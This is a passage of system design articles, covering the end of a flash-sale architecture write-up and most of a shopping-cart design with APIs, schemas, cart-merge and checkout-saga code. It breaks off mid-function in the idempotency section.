| API Gateway | Throttling: 10K RPS, Burst: 5K               | Protects backend during spike            |
| Lambda      | Memory: 1024MB, Timeout: 30s, Reserved: 1000 | Predictable latency under load           |
| ElastiCache | Redis Cluster, 3 nodes, r6g.large            | Sub-ms latency, failover                 |
| DynamoDB    | On-demand, Auto-scaling                      | Handles unpredictable load               |
| SQS FIFO    | 3000 msg/sec, 14-day retention               | Order durability                         |
| RDS         | Multi-AZ, db.r6g.xlarge, Read replicas       | ACID + read scaling                      |

### Self-Hosted Alternatives

| Managed Service | Self-Hosted Option   | Trade-off                                 |
| --------------- | -------------------- | ----------------------------------------- |
| ElastiCache     | Redis Cluster on EC2 | More control, operational burden          |
| DynamoDB        | Cassandra/ScyllaDB   | Cost at scale, complexity                 |
| SQS FIFO        | Kafka                | Higher throughput, operational complexity |
| Lambda          | Kubernetes + KEDA    | Fine-grained control, cold starts         |

## Variations

### Path B Implementation: Real-Time Counter Model

For e-commerce with dynamic inventory, replace token-based admission with real-time inventory checks:

```typescript
// real-time-inventory.ts
export async function attemptPurchase(
  productId: string,
  userId: string,
  quantity: number,
): Promise<{ success: boolean; orderId?: string }> {
  // Rate limit first (protect backend)
  const allowed = await rateLimiter.check(userId, "purchase")
  if (!allowed) {
    return { success: false }
  }

  // Atomic inventory check + decrement
  const result = await redis.eval(
    `
    local count = redis.call('GET', KEYS[1])
    if tonumber(count) >= tonumber(ARGV[1]) then
      return redis.call('DECRBY', KEYS[1], ARGV[1])
    else
      return -1
    end
  `,
    1,
    `inventory:${productId}`,
    quantity,
  )

  if (result < 0) {
    return { success: false } // Sold out
  }

  // Proceed to order (inventory already decremented)
  const orderId = await createOrder(productId, userId, quantity)
  return { success: true, orderId }
}
```

**Key difference:** Inventory decremented at purchase attempt, not at queue admission. Higher risk of "sold out after waiting" but supports dynamic restocking.

### VIP Early Access

Add priority tiers to queue service:

```typescript
// vip-queue.ts
interface QueueEntry {
  // ... existing fields
  tier: "vip" | "member" | "standard"
  tierJoinedAt: Date
}

export async function getNextPosition(saleId: string, tier: string): Promise<number> {
  // VIPs get positions 1-1000, members 1001-10000, standard 10001+
  const tierOffsets = { vip: 0, member: 1000, standard: 10000 }
  const offset = tierOffsets[tier]

  const countInTier = await ddb.query({
    TableName: "FlashSaleQueue",
    KeyConditionExpression: "sale_id = :sid",
    FilterExpression: "tier = :tier",
    ExpressionAttributeValues: { ":sid": saleId, ":tier": tier },
  })

  return offset + (countInTier.Count || 0) + 1
}
```

### Raffle-Based Allocation

For extremely limited inventory (e.g., 100 items, 1M users), replace queue with raffle:

```typescript
// raffle-mode.ts
export async function enterRaffle(saleId: string, userId: string): Promise<void> {
  // Entry window: 1 hour before draw
  await ddb.put({
    TableName: "FlashSaleRaffle",
    Item: {
      sale_id: saleId,
      user_id: userId,
      entry_id: uuid(),
      entered_at: new Date().toISOString(),
    },
  })
}

export async function drawWinners(saleId: string, count: number): Promise<string[]> {
  // Get all entries
  const entries = await getAllEntries(saleId)

  // Cryptographically random selection
  const shuffled = cryptoShuffle(entries)
  const winners = shuffled.slice(0, count)

  // Grant checkout tokens to winners
  for (const winner of winners) {
    await grantCheckoutToken(winner.user_id, saleId)
  }

  return winners.map((w) => w.user_id)
}
```

## Conclusion

Flash sale systems require coordinated defense at every layer:

1. **Traffic absorption**: CDN-hosted waiting room prevents backend overwhelm. Static HTML + client-side polling scales infinitely at the edge.

2. **Fair admission**: Token-based queue management (Path A) guarantees purchase opportunity. FIFO with randomized early arrival prevents "refresh race."

3. **Inventory accuracy**: Redis Lua scripts provide atomic check-and-decrement. Zero overselling through construction, not hope.

4. **Order durability**: Async processing via SQS decouples order receipt from processing. DLQ ensures no order is silently lost.

5. **Bot defense**: Multi-layer detection (WAF → behavioral → queue-level) raises the bar for attackers without blocking legitimate users.

**What this design optimizes for:**

- Zero overselling (100% inventory accuracy)
- Fairness (transparent queue position)
- Durability (no lost orders)
- Scalability (1M+ concurrent users)

**What it sacrifices:**

- Latency (queue wait time)
- Simplicity (multiple coordinated services)
- Dynamic inventory (pre-allocation model)

**Known limitations:**

- Token expiration requires careful tuning (too short: frustrated users; too long: wasted inventory)
- Sophisticated bots with residential proxies remain challenging
- VIP tiers can feel unfair to standard users

## Appendix

### Prerequisites

- Distributed systems fundamentals (CAP theorem, consistency models)
- Queue theory basics (FIFO, rate limiting)
- Redis data structures and Lua scripting
- Message queue patterns (at-least-once, exactly-once)
- Payment processing (idempotency, webhooks)

### Summary

- Flash sales require a **waiting room → token gate → atomic inventory → async order queue** architecture
- **CDN-hosted waiting room** absorbs traffic spikes cheaply and reliably
- **Token-based admission** (Path A) guarantees purchase opportunity and prevents overselling by construction
- **Redis Lua scripts** provide atomic inventory operations at 500K+ ops/second
- **Async order processing** via message queues decouples order receipt from fulfillment
- **Multi-layer bot defense** (WAF + behavioral + queue-level) raises attack cost without blocking legitimate users

### References

- [Alibaba Cloud: System Stability for Large-Scale Flash Sales](https://www.alibabacloud.com/blog/system-stability-assurance-for-large-scale-flash-sales_596968) - Alibaba Singles Day architecture
- [AWS Prime Day 2025 Metrics](https://aws.amazon.com/blogs/aws/aws-services-scale-to-new-heights-for-prime-day-2025-key-metrics-and-milestones/) - Scale benchmarks
- [SeatGeek Virtual Waiting Room Architecture](https://aws.amazon.com/blogs/architecture/build-a-virtual-waiting-room-with-amazon-dynamodb-and-aws-lambda-at-seatgeek/) - Token-based queue implementation
- [Shopify Flash Sales Architecture](https://www.infoq.com/presentations/shopify-architecture-flash-sale/) - Multi-tenant SaaS approach
- [Ticketmaster Queue System](https://blog.ticketmaster.com/how-ticketmaster-queue-works/) - Virtual waiting room UX
- [Redis Distributed Locks](https://redis.io/docs/latest/develop/clients/patterns/distributed-locks/) - Atomic operations patterns
- [Martin Kleppmann: Designing Data-Intensive Applications](https://dataintensive.net/) - Distributed systems fundamentals

---

## Design Amazon Shopping Cart

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-amazon-shopping-cart
**Category:** System Design / System Design Problems
**Description:** A system design for an e-commerce shopping cart handling millions of concurrent users, real-time inventory, dynamic pricing, and distributed checkout. This design focuses on high availability during flash sales, consistent inventory management, and seamless guest-to-user cart transitions.

# Design Amazon Shopping Cart

A system design for an e-commerce shopping cart handling millions of concurrent users, real-time inventory, dynamic pricing, and distributed checkout. This design focuses on high availability during flash sales, consistent inventory management, and seamless guest-to-user cart transitions.

<figure>

![High-level shopping cart architecture showing client apps, gateway layer, application services, and data stores with async processing for cart expiration and abandoned cart recovery.](./high-level-shopping-cart-architecture-showing-client-apps-gateway-layer-applicat.svg)

<figcaption>High-level shopping cart architecture showing client apps, gateway layer, application services, and data stores with async processing for cart expiration and abandoned cart recovery.</figcaption>
</figure>

## Abstract

Shopping cart systems must solve three interconnected problems: **cart state persistence** (guest vs authenticated users, cross-device sync, cart merge on login), **inventory accuracy** (preventing overselling during concurrent access while maintaining availability), and **checkout atomicity** (coordinating payment, inventory deduction, and order creation across distributed services).

The core architectural decisions:

1. **Two-tier cart storage**: Redis for sub-millisecond reads during browsing; persistent database for durability and cross-device sync
2. **Soft reservations with expiry**: Reserve inventory on add-to-cart (5-minute TTL), convert to hard reservation only after payment confirmation—prevents inventory lock-up from abandoned carts
3. **Saga pattern for checkout**: Orchestrated sequence of payment authorization → inventory hard reservation → order creation, with compensating transactions on failure
4. **Eventually consistent inventory display, strongly consistent checkout**: Accept stale counts on product pages for availability; enforce consistency only during checkout

| Dimension           | Optimizes For              | Sacrifices                               |
| ------------------- | -------------------------- | ---------------------------------------- |
| Redis cart cache    | Read latency (<1ms)        | Durability (requires DB backup)          |
| Soft reservations   | Inventory turnover         | Checkout may fail if reservation expires |
| Saga orchestration  | Reliability, debuggability | Latency (sequential steps)               |
| Hash-based sharding | Even distribution          | Cross-user queries                       |

## Requirements

### Functional Requirements

| Feature                      | Scope    | Notes                                                  |
| ---------------------------- | -------- | ------------------------------------------------------ |
| Add/remove/update cart items | Core     | Real-time quantity validation against inventory        |
| Guest cart with persistence  | Core     | Survives browser close, 30-day expiry                  |
| Cart merge on login          | Core     | Combine guest + user cart, resolve quantity conflicts  |
| Real-time price updates      | Core     | Price at checkout reflects current price, not add-time |
| Inventory soft reservation   | Core     | Prevent checkout failures from out-of-stock            |
| Coupon/promotion application | Core     | Stackable rules, exclusivity handling                  |
| Multi-step checkout          | Core     | Address → Payment → Review → Confirm                   |
| Abandoned cart recovery      | Extended | Email/push notifications with cart link                |
| Wishlist/Save for Later      | Extended | Move items between cart and wishlist                   |

### Non-Functional Requirements

| Requirement        | Target                                | Rationale                                                  |
| ------------------ | ------------------------------------- | ---------------------------------------------------------- |
| Availability       | 99.99% (4 nines)                      | Revenue-critical; 1 hour downtime = millions in lost sales |
| Cart read latency  | p99 < 50ms                            | Instant feedback on cart interactions                      |
| Cart write latency | p99 < 200ms                           | Acceptable for add/remove operations                       |
| Checkout latency   | p99 < 3s                              | End-to-end including payment processing                    |
| Peak throughput    | 100K cart ops/sec                     | Flash sale scenarios                                       |
| Data durability    | 99.999999999%                         | Cart data must not be lost                                 |
| Consistency        | Eventual (display), Strong (checkout) | Hybrid model per operation type                            |

### Scale Estimation

**Users:**

- DAU: 50M
- Peak concurrent users: 5M (10% of DAU during flash sales)
- Carts per user: 1 active

**Traffic:**

- Cart views: 50M DAU × 10 views/day = 500M/day = ~6K RPS average
- Cart modifications: 50M DAU × 3 ops/day = 150M/day = ~1.7K RPS average
- Peak multiplier (flash sale): 50x → 300K cart views/sec, 85K modifications/sec
- Checkouts: 5M/day = ~60 checkouts/sec average, 3K/sec peak

**Storage:**

- Cart record: ~2KB (metadata + 10 items average)
- Active carts: 50M × 2KB = 100GB
- Historical carts (90-day retention): 100GB × 3 = 300GB
- With replication (3x): ~1TB total

**Inventory:**

- SKUs: 100M products
- Inventory checks: 500M/day (1 per cart view)
- Reservation writes: 150M/day

## Design Paths

### Path A: Consistency-First (Financial/Limited-Inventory)

**Best when:**

- High-value items where overselling has significant cost (electronics, luxury goods)
- Limited inventory flash sales (concert tickets, limited editions)
- Regulatory requirements for inventory accuracy

**Architecture:**

- Strong consistency for all inventory operations
- Synchronous inventory checks before cart add
- Pessimistic locking during checkout

**Trade-offs:**

- ✅ Zero overselling
- ✅ Accurate inventory counts everywhere
- ❌ Higher latency (lock contention)
- ❌ Lower throughput under load
- ❌ Checkout failures increase during traffic spikes

**Real-world example:** Ticketmaster uses strong consistency for seat inventory. During high-demand events, this leads to "waiting room" queuing to serialize access and prevent overselling reserved seating.

### Path B: Availability-First (High-Volume Retail)

**Best when:**

- Large inventory buffers make overselling rare
- Customer experience (speed) more important than perfect accuracy
- Compensation for overselling is acceptable (refund + coupon)

**Architecture:**

- Eventually consistent inventory reads
- Optimistic updates with conflict resolution at checkout
- Accept occasional overselling, handle via backorder/compensation

**Trade-offs:**

- ✅ Sub-millisecond cart operations
- ✅ Handles extreme traffic spikes gracefully
- ✅ Better user experience (no waiting)
- ❌ Occasional overselling (typically <0.1%)
- ❌ Requires robust compensation workflow

**Real-world example:** Amazon accepts minor overselling on most products. When it occurs, customers receive an apology email with a discount code and the option to wait for restock or cancel. The revenue from faster checkout far exceeds compensation costs.

### Path Comparison

| Factor                 | Path A: Consistency-First | Path B: Availability-First  |
| ---------------------- | ------------------------- | --------------------------- |
| Inventory accuracy     | 100%                      | 99.9%+                      |
| Cart add latency       | 50-200ms                  | <10ms                       |
| Peak throughput        | 10K ops/sec               | 100K+ ops/sec               |
| Checkout failure rate  | Higher (locks timeout)    | Lower (optimistic)          |
| Operational complexity | Lower                     | Higher (compensation flows) |
| Best for               | Tickets, luxury, limited  | General retail, commodities |

### This Article's Focus

This article focuses on **Path B (Availability-First)** because it represents the architecture of most large-scale e-commerce systems (Amazon, Shopify, Walmart). Path A patterns are noted where inventory criticality requires them.

## High-Level Design

### Service Architecture

![Diagram](./diagram-1.svg)

### Cart Service

Manages cart lifecycle: creation, item management, persistence, and merge operations.

**Responsibilities:**

- CRUD operations on cart items
- Guest cart token generation and management
- Cart merge on user authentication
- Price/availability validation coordination
- Cart expiration scheduling

**Data Flow - Add to Cart:**

![Diagram](./diagram-2.svg)

### Inventory Service

Manages stock levels, reservations, and availability across warehouses.

**Key Concepts:**

- **Available For Sale (AFS):** Physical stock minus hard reservations
- **Available For Reservation (AFR):** AFS minus soft reservations
- **Soft Reservation:** Temporary hold with TTL, automatically releases
- **Hard Reservation:** Committed hold after payment, triggers fulfillment

**Reservation State Machine:**

![Diagram](./diagram-3.svg)

### Checkout Orchestrator

Coordinates the multi-step checkout process using the Saga pattern.

**Saga Steps:**

1. **Validate Cart:** Confirm items still in stock at current prices
2. **Authorize Payment:** Place hold on payment method
3. **Convert Reservations:** Soft → Hard for all cart items
4. **Create Order:** Generate order record
5. **Confirm Payment:** Capture authorized amount
6. **Trigger Fulfillment:** Send to warehouse

**Compensation Actions (on failure):**

- Payment capture failed → Release hard reservations, void authorization
- Reservation conversion failed → Void payment authorization
- Order creation failed → Release reservations, void authorization

### Pricing Service

Evaluates pricing rules, promotions, and coupons in real-time.

**Rule Evaluation Order:**

1. Base price (from catalog)
2. Sale price (time-based overrides)
3. Quantity discounts (buy 3, get 10% off)
4. Coupon codes (user-applied)
5. Cart-level promotions (free shipping over $50)
6. Loyalty discounts (member pricing)

**Conflict Resolution:**

- Exclusive promotions marked in rule metadata
- Priority field determines evaluation order
- "Best for customer" mode: apply combination yielding maximum discount

## API Design

### Cart Endpoints

#### Get Cart

```http
GET /api/v1/cart
Authorization: Bearer {token} | X-Guest-Token: {guest_token}
```

**Response (200 OK):**

```json collapse={16-45}
{
  "cart_id": "cart_abc123",
  "user_id": "user_xyz789",
  "items": [
    {
      "item_id": "item_001",
      "product_id": "prod_12345",
      "product_name": "Wireless Headphones",
      "variant_id": "var_black_medium",
      "quantity": 2,
      "unit_price": 79.99,
      "line_total": 159.98,
      "image_url": "https://cdn.example.com/headphones.jpg",
      "availability": {
        "status": "in_stock",
        "quantity_available": 45,
        "reservation_expires_at": "2024-01-15T10:35:00Z"
      },
      "applied_promotions": [
        {
          "promotion_id": "promo_winter_sale",
          "name": "Winter Sale 20% Off",
          "discount_amount": 31.99
        }
      ]
    }
  ],
  "summary": {
    "subtotal": 159.98,
    "discount_total": 31.99,
    "shipping_estimate": 0.0,
    "tax_estimate": 10.24,
    "total": 138.23
  },
  "applied_coupons": [],
  "created_at": "2024-01-15T09:00:00Z",
  "updated_at": "2024-01-15T10:30:00Z",
  "expires_at": "2024-02-14T09:00:00Z"
}
```

**Design Decisions:**

- `availability` embedded per item: Frontend can show stock warnings without additional calls
- `reservation_expires_at` exposed: Client can show countdown timer encouraging checkout
- `summary` pre-calculated: Avoids client-side price calculation errors
- Pagination not needed: Carts rarely exceed 50 items; full payload < 10KB

#### Add Item to Cart

```http
POST /api/v1/cart/items
Authorization: Bearer {token} | X-Guest-Token: {guest_token}
Content-Type: application/json
Idempotency-Key: {uuid}
```

**Request:**

```json
{
  "product_id": "prod_12345",
  "variant_id": "var_black_medium",
  "quantity": 2
}
```

**Response (201 Created):**

```json collapse={5-30}
{
  "item_id": "item_001",
  "product_id": "prod_12345",
  "quantity": 2,
  "unit_price": 79.99,
  "line_total": 159.98,
  "reservation": {
    "reservation_id": "res_abc123",
    "expires_at": "2024-01-15T10:35:00Z"
  },
  "cart_summary": {
    "item_count": 2,
    "subtotal": 159.98,
    "total": 138.23
  }
}
```

**Error Responses:**

| Status | Condition                   | Body                                                              |
| ------ | --------------------------- | ----------------------------------------------------------------- |
| 400    | Invalid product/variant ID  | `{"error": "INVALID_PRODUCT", "message": "Product not found"}`    |
| 409    | Insufficient inventory      | `{"error": "INSUFFICIENT_STOCK", "available": 1, "requested": 2}` |
| 409    | Duplicate add (idempotency) | Returns original response                                         |
| 429    | Rate limit exceeded         | `{"error": "RATE_LIMITED", "retry_after": 60}`                    |

**Rate Limits:** 60 requests/minute per user (prevents cart bombing attacks)

#### Update Item Quantity

```http
PATCH /api/v1/cart/items/{item_id}
```

**Request:**

```json
{
  "quantity": 3
}
```

Behavior:

- `quantity: 0` removes the item
- Validates against available inventory
- Updates soft reservation (extends TTL if increasing, releases delta if decreasing)

#### Apply Coupon

```http
POST /api/v1/cart/coupons
```

**Request:**

```json
{
  "code": "SAVE20"
}
```

**Response (200 OK):**

```json
{
  "coupon": {
    "code": "SAVE20",
    "description": "20% off your order",
    "discount_type": "percentage",
    "discount_value": 20,
    "applied_discount": 27.99
  },
  "cart_summary": {
    "subtotal": 159.98,
    "discount_total": 59.98,
    "total": 110.24
  }
}
```

**Error Responses:**

| Status | Condition                                      |
| ------ | ---------------------------------------------- |
| 400    | Invalid/expired coupon                         |
| 409    | Coupon not combinable with existing promotions |
| 409    | Minimum order value not met                    |

### Checkout Endpoints

#### Initialize Checkout

```http
POST /api/v1/checkout
Authorization: Bearer {token}
```

**Request:**

```json
{
  "cart_id": "cart_abc123"
}
```

**Response (201 Created):**

```json collapse={7-35}
{
  "checkout_id": "checkout_xyz789",
  "status": "pending",
  "cart_snapshot": {
    "items": [...],
    "summary": {...}
  },
  "required_steps": ["address", "payment", "review"],
  "completed_steps": [],
  "expires_at": "2024-01-15T11:00:00Z"
}
```

**Design Decisions:**

- `cart_snapshot` captured at checkout init: Prices locked for checkout duration
- `expires_at` enforced: 30-minute checkout session prevents indefinite reservation holds
- Steps returned by server: Enables A/B testing checkout flows without client changes

#### Submit Shipping Address

```http
PUT /api/v1/checkout/{checkout_id}/address
```

**Request:**

```json
{
  "shipping_address": {
    "name": "John Doe",
    "line1": "123 Main St",
    "line2": "Apt 4B",
    "city": "Seattle",
    "state": "WA",
    "postal_code": "98101",
    "country": "US",
    "phone": "+1-206-555-0123"
  },
  "billing_same_as_shipping": true
}
```

**Response includes:**

- Validated/normalized address
- Updated shipping options with real costs
- Tax calculation based on destination

#### Submit Payment and Complete

```http
POST /api/v1/checkout/{checkout_id}/complete
Idempotency-Key: {uuid}
```

**Request:**

```json
{
  "payment_method_id": "pm_card_visa_4242",
  "accept_terms": true
}
```

**Response (201 Created):**

```json collapse={8-25}
{
  "order_id": "order_abc123",
  "status": "confirmed",
  "confirmation_number": "AMZ-2024-ABC123",
  "estimated_delivery": "2024-01-18",
  "total_charged": 138.23,
  "payment": {
    "method": "Visa ending in 4242",
    "transaction_id": "txn_xyz789"
  }
}
```

**Idempotency Behavior:**

- Same `Idempotency-Key` within 24 hours returns cached response
- Prevents duplicate charges on network retries or user double-clicks

## Data Modeling

### Cart Schema

**Primary Store:** PostgreSQL (ACID guarantees, complex merge queries)

```sql collapse={1-5, 25-40}
-- Cart table
CREATE TABLE carts (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id UUID REFERENCES users(id),
    guest_token VARCHAR(64) UNIQUE,
    status VARCHAR(20) DEFAULT 'active',
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    expires_at TIMESTAMPTZ,
    merged_into_cart_id UUID REFERENCES carts(id),

    CONSTRAINT user_or_guest CHECK (
        (user_id IS NOT NULL AND guest_token IS NULL) OR
        (user_id IS NULL AND guest_token IS NOT NULL)
    )
);

-- Cart items table
CREATE TABLE cart_items (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    cart_id UUID NOT NULL REFERENCES carts(id) ON DELETE CASCADE,
    product_id UUID NOT NULL,
    variant_id UUID NOT NULL,
    quantity INT NOT NULL CHECK (quantity > 0),
    unit_price_at_add DECIMAL(10,2) NOT NULL,
    reservation_id UUID,
    added_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE (cart_id, product_id, variant_id)
);

-- Indexes for common access patterns
CREATE INDEX idx_carts_user ON carts(user_id) WHERE user_id IS NOT NULL;
CREATE INDEX idx_carts_guest ON carts(guest_token) WHERE guest_token IS NOT NULL;
CREATE INDEX idx_carts_expires ON carts(expires_at) WHERE status = 'active';
CREATE INDEX idx_cart_items_cart ON cart_items(cart_id);
CREATE INDEX idx_cart_items_reservation ON cart_items(reservation_id)
    WHERE reservation_id IS NOT NULL;
```

**Design Decisions:**

- `user_id` vs `guest_token` mutual exclusion: Clean separation of authenticated vs guest carts
- `unit_price_at_add`: Audit trail for price changes between add and checkout
- `reservation_id` nullable: Not all cart items require reservation (digital goods)
- Soft delete via `merged_into_cart_id`: Preserves guest cart history for analytics

### Cart Cache Structure (Redis)

```redis
# Cart metadata (Hash)
HSET cart:{cart_id}
    user_id "user_xyz789"
    item_count 3
    subtotal 259.97
    updated_at 1705312200

# Cart items (Hash - one per item)
HSET cart:{cart_id}:item:{item_id}
    product_id "prod_12345"
    variant_id "var_black_medium"
    quantity 2
    unit_price 79.99
    reservation_id "res_abc123"
    reservation_expires 1705312500

# Guest token to cart mapping
SET guest:{guest_token} cart_abc123 EX 2592000  # 30 days

# Cart expiration sorted set (for cleanup workers)
ZADD cart_expirations 1705312500 cart_abc123
```

**TTL Strategy:**

- Cart metadata: 30 days (matches business retention policy)
- Reservation entries: 5 minutes (align with soft reservation TTL)
- Guest token mapping: 30 days

### Inventory Schema

**Primary Store:** PostgreSQL with read replicas

```sql collapse={1-3, 20-35}
-- Inventory by location
CREATE TABLE inventory_entries (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    product_id UUID NOT NULL,
    variant_id UUID NOT NULL,
    location_id UUID NOT NULL,
    quantity_on_hand INT NOT NULL DEFAULT 0,
    quantity_reserved INT NOT NULL DEFAULT 0,
    quantity_available INT GENERATED ALWAYS AS
        (quantity_on_hand - quantity_reserved) STORED,
    updated_at TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE (product_id, variant_id, location_id),
    CHECK (quantity_reserved <= quantity_on_hand)
);

-- Reservations table
CREATE TABLE inventory_reservations (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    inventory_entry_id UUID NOT NULL REFERENCES inventory_entries(id),
    cart_id UUID NOT NULL,
    quantity INT NOT NULL,
    type VARCHAR(10) NOT NULL CHECK (type IN ('soft', 'hard')),
    created_at TIMESTAMPTZ DEFAULT NOW(),
    expires_at TIMESTAMPTZ,  -- NULL for hard reservations
    order_id UUID,  -- Set when converted to hard reservation

    INDEX idx_reservations_entry (inventory_entry_id),
    INDEX idx_reservations_cart (cart_id),
    INDEX idx_reservations_expires (expires_at) WHERE type = 'soft'
);
```

**Consistency Approach:**

- `quantity_available` as generated column: Always consistent with underlying values
- Reservation updates use `SELECT FOR UPDATE`: Prevents race conditions
- Read replicas used for availability display (eventual consistency acceptable)

### Reservation Cache (Redis)

```redis
# Soft reservation with automatic expiry
SET reservation:{res_id}
    '{"inventory_entry_id":"inv_123","cart_id":"cart_abc","quantity":2}'
    EX 300  # 5 minutes

# Fast lookup: cart → reservations
SADD cart_reservations:{cart_id} res_001 res_002
EXPIRE cart_reservations:{cart_id} 300

# Fast lookup: inventory → reservations (for availability calculation)
SADD inventory_reservations:{inventory_entry_id} res_001 res_002
EXPIRE inventory_reservations:{inventory_entry_id} 300
```

**Why Redis for reservations:**

- Automatic TTL expiration handles cleanup without background jobs
- Sub-millisecond lookups for availability checks
- SADD operations for atomic reservation tracking

### Database Selection Summary

| Data Type         | Store                 | Rationale                                  |
| ----------------- | --------------------- | ------------------------------------------ |
| Cart (persistent) | PostgreSQL            | ACID for merge operations, complex queries |
| Cart (cache)      | Redis Cluster         | Sub-ms reads, automatic expiration         |
| Inventory         | PostgreSQL + replicas | Strong consistency writes, scaled reads    |
| Reservations      | Redis + PostgreSQL    | Redis for speed, PG for durability         |
| Orders            | PostgreSQL            | ACID required for financial records        |
| Price rules       | PostgreSQL + cache    | Complex queries, Redis for hot paths       |

## Low-Level Design: Cart Merge

Cart merge occurs when a guest user authenticates. The system must combine items from both carts while handling conflicts.

### Merge Algorithm

![Diagram](./diagram-4.svg)

### Merge Implementation

```typescript collapse={1-15, 45-65}
interface CartItem {
  productId: string
  variantId: string
  quantity: number
  reservationId?: string
}

interface MergeResult {
  mergedCart: Cart
  addedItems: CartItem[]
  updatedItems: Array<{ item: CartItem; previousQty: number }>
  conflicts: Array<{ guestItem: CartItem; reason: string }>
}

async function mergeGuestCart(
  userId: string,
  guestToken: string,
  strategy: "sum" | "max" | "keep_user" = "sum",
): Promise<MergeResult> {
  return await db.transaction(async (tx) => {
    // Load both carts with row-level locks
    const [userCart, guestCart] = await Promise.all([
      tx.query("SELECT * FROM carts WHERE user_id = $1 FOR UPDATE", [userId]),
      tx.query("SELECT * FROM carts WHERE guest_token = $1 FOR UPDATE", [guestToken]),
    ])

    if (!guestCart) {
      return { mergedCart: userCart, addedItems: [], updatedItems: [], conflicts: [] }
    }

    const result: MergeResult = {
      mergedCart: userCart || (await createUserCart(tx, userId)),
      addedItems: [],
      updatedItems: [],
      conflicts: [],
    }

    for (const guestItem of guestCart.items) {
      const existingItem = result.mergedCart.items.find(
        (i) => i.productId === guestItem.productId && i.variantId === guestItem.variantId,
      )

      if (!existingItem) {
        // Transfer item to user cart
        await transferItem(tx, guestItem, result.mergedCart.id)
        result.addedItems.push(guestItem)
      } else {
        // Handle conflict based on strategy
        const newQty = resolveQuantity(existingItem.quantity, guestItem.quantity, strategy)
        const maxAllowed = await getMaxQuantity(guestItem.productId, guestItem.variantId)

        if (newQty > maxAllowed) {
          result.conflicts.push({
            guestItem,
            reason: `Quantity capped at ${maxAllowed} (max per order)`,
          })
        }

        if (newQty !== existingItem.quantity) {
          await updateItemQuantity(tx, existingItem.id, Math.min(newQty, maxAllowed))
          result.updatedItems.push({ item: existingItem, previousQty: existingItem.quantity })
        }

        // Release guest item's reservation (will be replaced by user cart's)
        if (guestItem.reservationId) {
          await releaseReservation(guestItem.reservationId)
        }
      }
    }

    // Mark guest cart as merged
    await tx.query("UPDATE carts SET status = $1, merged_into_cart_id = $2 WHERE id = $3", [
      "merged",
      result.mergedCart.id,
      guestCart.id,
    ])

    return result
  })
}

function resolveQuantity(userQty: number, guestQty: number, strategy: string): number {
  switch (strategy) {
    case "sum":
      return userQty + guestQty
    case "max":
      return Math.max(userQty, guestQty)
    case "keep_user":
      return userQty
  }
}
```

### Merge Edge Cases

| Scenario                        | Handling                                                           |
| ------------------------------- | ------------------------------------------------------------------ |
| Guest item now out of stock     | Add to cart with `unavailable` flag; notify user                   |
| Price changed since guest add   | Use current price; show price change notice                        |
| Guest item discontinued         | Add to "saved items" instead; notify user                          |
| Combined quantity exceeds limit | Cap at limit; show conflict message                                |
| Guest cart has applied coupon   | Validate coupon for user; may not transfer (user-specific coupons) |

## Low-Level Design: Checkout Saga

The checkout process spans multiple services that must coordinate atomically despite having independent databases.

### Saga Orchestration

![Diagram](./diagram-5.svg)

### Saga State Machine

```typescript collapse={1-10, 40-60}
enum CheckoutState {
  INITIATED = "initiated",
  CART_VALIDATED = "cart_validated",
  PAYMENT_AUTHORIZED = "payment_authorized",
  INVENTORY_RESERVED = "inventory_reserved",
  ORDER_CREATED = "order_created",
  PAYMENT_CAPTURED = "payment_captured",
  COMPLETED = "completed",
  COMPENSATION_REQUIRED = "compensation_required",
  FAILED = "failed",
}

interface CheckoutSaga {
  id: string
  cartId: string
  state: CheckoutState
  authorizationId?: string
  orderId?: string
  failedStep?: string
  compensationSteps: string[]
  createdAt: Date
  updatedAt: Date
}

async function executeCheckoutSaga(checkoutId: string): Promise<Order> {
  const saga = await loadSaga(checkoutId)

  try {
    // Each step is idempotent and checks current state before executing
    if (saga.state === CheckoutState.INITIATED) {
      await validateCart(saga)
      await transitionState(saga, CheckoutState.CART_VALIDATED)
    }

    if (saga.state === CheckoutState.CART_VALIDATED) {
      saga.authorizationId = await authorizePayment(saga)
      await transitionState(saga, CheckoutState.PAYMENT_AUTHORIZED)
    }

    if (saga.state === CheckoutState.PAYMENT_AUTHORIZED) {
      await convertReservations(saga)
      await transitionState(saga, CheckoutState.INVENTORY_RESERVED)
    }

    if (saga.state === CheckoutState.INVENTORY_RESERVED) {
      saga.orderId = await createOrder(saga)
      await transitionState(saga, CheckoutState.ORDER_CREATED)
    }

    if (saga.state === CheckoutState.ORDER_CREATED) {
      await capturePayment(saga)
      await transitionState(saga, CheckoutState.PAYMENT_CAPTURED)
    }

    if (saga.state === CheckoutState.PAYMENT_CAPTURED) {
      await clearCart(saga)
      await transitionState(saga, CheckoutState.COMPLETED)
    }

    return await loadOrder(saga.orderId)
  } catch (error) {
    saga.failedStep = saga.state
    await transitionState(saga, CheckoutState.COMPENSATION_REQUIRED)
    await executeCompensation(saga)
    throw error
  }
}

async function executeCompensation(saga: CheckoutSaga): Promise<void> {
  // Compensate in reverse order of completed steps
  if (saga.orderId && saga.state !== CheckoutState.PAYMENT_CAPTURED) {
    await markOrderFailed(saga.orderId)
  }

  if (saga.state >= CheckoutState.INVENTORY_RESERVED) {
    await releaseHardReservations(saga.cartId)
  }

  if (saga.authorizationId) {
    await voidAuthorization(saga.authorizationId)
  }

  await transitionState(saga, CheckoutState.FAILED)
}
```

### Idempotency Implementation

```typescript collapse={1-8, 30-45}
interface IdempotencyRecord {
  key: string
  requestHash: string
  response: any
  statusCode: number
  createdAt: Date
  expiresAt: Date
}

async function withIdempotency<T>(
  key: string,
  request: any,
  handler: () => Promise<T>,
): Promise<{ result: T; statusCode: number; cached: boolean }> {
  const requestHash = hashRequest(request)

  // Check for existing response
  const existing = await redis.get(`idempotency:${key}`)
  if (existing) {
    const record: IdempotencyRecord = JSON.parse(existing)
    if (record.requestHash === requestHash) {
      return { result: record.response, statusCode: record.statusCode, cached: true }
    }
    // Same key, different request = error
    throw new ConflictError("Idempotency key reused with different request")
  }

  // Lock the key during processing
  const lockAcquired = await redis.set(
    `idempotency:${key}`,
